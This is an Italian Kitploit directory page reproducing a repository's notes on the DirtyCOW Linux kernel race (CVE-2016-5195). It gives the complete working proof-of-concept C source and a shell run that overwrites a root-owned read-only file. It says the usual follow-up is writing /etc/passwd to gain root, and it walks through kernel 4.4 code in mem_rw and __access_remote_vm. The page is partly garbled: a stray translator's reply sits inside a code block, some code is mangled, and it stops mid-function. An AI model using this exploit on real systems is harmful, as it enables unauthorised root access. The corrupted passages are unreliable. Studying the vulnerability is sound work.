Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2016-5195 — DirtyCOW Appunti | Kitploit
Strumenti/GitHubGitHub/asuka39/cve-2016-5195
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitApprendimento e FormazioneBinary Exploitation
GitHubasuka39/cve-2016-5195

CVE-2016-5195

DirtyCOW Appunti

Vedi Repository
2 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2016-5195 DirtyCOW

PoC

  • Modificato da dirtycow.github.io```c #include <stdio.h> #include <sys/mman.h> #include <fcntl.h> #include <pthread.h> #include <unistd.h> #include <sys/stat.h> #include <string.h> #include <stdint.h>

void *map; int f; struct stat st; char *name;

void *madviseThread(void *arg) { char str; str = (char)arg; int i, c = 0; for(i = 0; i < 100000000; i++) { c += madvise(map, 100, MADV_DONTNEED); } printf("madvise %d\n\n", c); }

void *procselfmemThread(void *arg) { char str; str = (char)arg;

int f = open("/proc/self/mem", O_RDWR); int i, c = 0; for(i = 0; i < 100000000; i++) { lseek(f, (uintptr_t)map, SEEK_SET); c += write(f, str, strlen(str)); } printf("procselfmem %d\n\n", c); }

int main(int argc, char *argv[]) { if (argc < 3) { (void)fprintf(stderr, "%s\n", "usage: dirtyc0w target_file new_content"); return 1; } pthread_t pth1, pth2;

f = open(argv[1], O_RDONLY); fstat(f, &st); name = argv[1];

map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0); printf("mmap %zx\n\n", (uintptr_t)map);

pthread_create(&pth1, NULL, madviseThread, argv[1]); pthread_create(&pth2, NULL, procselfmemThread, argv[2]);

pthread_join(pth1, NULL); pthread_join(pth2, NULL); return 0; }

Non hai fornito il contenuto della terza parte. Per favore, fornisci il testo da tradurre.```
$ sudo su
# echo "READ ONLY" > flag.txt
# chmod 0404 flag.txt
# exit
$
$ ll flag.txt 
-r-----r-- 1 root root 10 flag.txt
$ echo "aaaaaa" > flag.txt
Permission Denied
$
$ gcc -pthread dirty.c -o dirty
$ ./dirty flag.txt aaaaaa
mmap 7f1a35bc4000

procselfmem -2094967296

madvise 0
$ cat flag.txt
aaaaaa

La tecnica di sfruttamento comune è scrivere con privilegi eccessivi in /etc/passwd per modificare l'utente root o i permessi dell'utente per scalare i privilegi.

Analisi

Analisi dell'Exploit

Prima diamo un'occhiata a cosa fa l'exp.```c int main(int argc, char *argv[]) { if (argc < 3) { (void)fprintf(stderr, "%s\n","usage: dirtyc0w target_file new_content"); return 1; }

pthread_t pth1, pth2; f = open(argv[1], O_RDONLY); fstat(f, &st); name = argv[1];

map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0); printf("mmap %zx\n\n", (uintptr_t)map);

pthread_create(&pth1, NULL, madviseThread, argv[1]); pthread_create(&pth2, NULL, procselfmemThread, argv[2]);

pthread_join(pth1, NULL); pthread_join(pth2, NULL); return 0; }

- Prima chiama pthread per creare due thread
- Poi `fopen` apre il file di destinazione `argv[1]` in sola lettura
- Mappa il file in memoria con `mmap` (indirizzo casuale). Lo scopo di `MAP_PRIVATE` è creare una mappatura di memoria privata per un task. Se un altro task tenta di scrivere in questa memoria, il processo prima crea una copia e poi scrive, realizzando così il CopyOnWrite, che evita di dover copiare l'intero spazio di memoria quando si creano processi figli o thread, e garantisce che le operazioni concorrenti sulla memoria tra i task non interferiscano.
- Successivamente avvia due thread: uno esegue `madviseThread`, l'altro `procselfmemThread`.

Poi vediamo i corpi di esecuzione dei due thread:

- Un thread chiama `madvise` sulla mappatura del file per comunicare al kernel lo stato di utilizzo della memoria mappata o condivisa. `MADV_DONTNEED` indica che l'area di memoria non sarà più utilizzata e il kernel può rilasciarla.
- L'altro thread apre `/proc/self/mem` con permessi di lettura/scrittura, che è la mappatura della memoria virtuale del processo stesso, e tenta continuamente di scrivere le informazioni di destinazione nel file.```c
void *madviseThread(void *arg) {
  char *str;
  str = (char*)arg;
  int i, c = 0;
  for(i = 0; i < 100000000; i++) {
    c += madvise(map, 100, MADV_DONTNEED);
  }
  printf("madvise %d\n\n", c);
}
 
void *procselfmemThread(void *arg) {
  char *str;
  str = (char*)arg;

  int f = open("/proc/self/mem", O_RDWR);
  int i, c = 0;
  for(i = 0; i < 100000000; i++) {
    lseek(f, (uintptr_t)map, SEEK_SET);
    c += write(f, str, strlen(str));
  }
  printf("procselfmem %d\n\n", c);
}

Alla fine, sotto il bombardamento alternato dei due thread, il kernel presenta una vulnerabilità di race condition e procselfmemThread riesce a scrivere su un file di sola lettura.

Analisi del Kernel

  • Premessa fondamentale: mmap crea solo una mappatura di memoria sulla vma, ma non inserisce effettivamente il file mappato nel frame di pagina fisico. Pertanto, quando proviamo per la prima volta a scrivere su un file, scatterà inevitabilmente un page fault.
  • La versione del kernel qui scelta è la 4.4.

Cosa succede quando scriviamo

mem_rw

Iniziamo l'analisi da write. Qualsiasi operazione su un file deve passare attraverso la tabella virtuale file_operations registrata dal file system a cui appartiene il file nel VFS. I file su /proc sono implementati da procfs. Trovando proc_mem_operations, si può vedere che write è associato a mem_write.```c static const struct file_operations proc_mem_operations = { .llseek = mem_lseek, .read = mem_read, .write = mem_write, .open = mem_open, .release = mem_release, };

`mem_write` è un wrapper di `mem_rw` (con il flag `write` impostato a 1). Il flusso principale di `mem_rw` è:

- Prima, `__get_free_page` alloca una pagina libera temporanea come buffer.
- Se è un'operazione di scrittura, chiama `copy_from_user` per copiare i dati da scrivere nella pagina temporanea.
- Quindi `access_remote_vm` legge i dati di destinazione nella pagina libera (lettura) o scrive il contenuto del buffer sull'indirizzo di destinazione (scrittura).
  - Il termine "remote" deriva dal fatto che questo processo può potenzialmente leggere o scrivere file mappati in memoria di altri processi, il che significa che il processo può accedere allo spazio di indirizzi di altri processi. Questo è diverso da altri memory filesystem.
- Se è un'operazione di lettura, i dati letti nella pagina libera dal passo precedente vengono riscritti nel buffer dell'utente.```c
static ssize_t mem_rw(struct file *file, char __user *buf,
			size_t count, loff_t *ppos, int write)
{
	struct mm_struct *mm = file->private_data;
	unsigned long addr = *ppos;
	ssize_t copied;
	char *page;

	if (!mm)
		return 0;

	page = (char *)__get_free_page(GFP_TEMPORARY);	// 申请临时空闲页面
	if (!page)
		return -ENOMEM;

	copied = 0;
	if (!atomic_inc_not_zero(&mm->mm_users))
		goto free;

	while (count > 0) {
		int this_len = min_t(int, count, PAGE_SIZE);	// 本次读取/写入数据长度,单次最大为PAGE_SIZE

		if (write && copy_from_user(page, buf, this_len)) {		// 若是写操作,从用户空间拷贝待写数据到临时空闲页面
			copied = -EFAULT;
			break;
		}

		this_len = access_remote_vm(mm, addr, page, this_len, write);	// 读取/写入数据到临时空闲页面
		if (!this_len) {
			if (!copied)
				copied = -EIO;
			break;
		}

		if (!write && copy_to_user(buf, page, this_len)) {	// 若是读操作,将读取到的数据从临时空闲页面拷贝数据到用户空间
			copied = -EFAULT;
			break;
		}

		buf += this_len;
		addr += this_len;
		copied += this_len;
		count -= this_len;
	}
	*ppos = addr;

	mmput(mm);
free:
	free_page((unsigned long) page);	// 释放临时空闲页面
	return copied;
}
__access_remote_vm

access_remote_vm è un wrapper di __access_remote_vm, il flusso principale è:

  • get_user_pages ottiene la struttura della pagina (page struct) all'indirizzo di destinazione addr
  • Se l'operazione riesce, viene chiamato kmap per mappare la pagina nella memoria alta del kernel (la pagina si riferisce a una pagina fisica)
  • Se l'accesso alla memoria è in scrittura, i dati vengono scritti e viene impostato il bit dirty; se è in lettura, i dati vengono letti.```c static int __access_remote_vm(struct task_struct *tsk, struct mm_struct *mm, unsigned long addr, void *buf, int len, int write) { struct vm_area_struct *vma; void *old_buf = buf;
Scarica lo strumento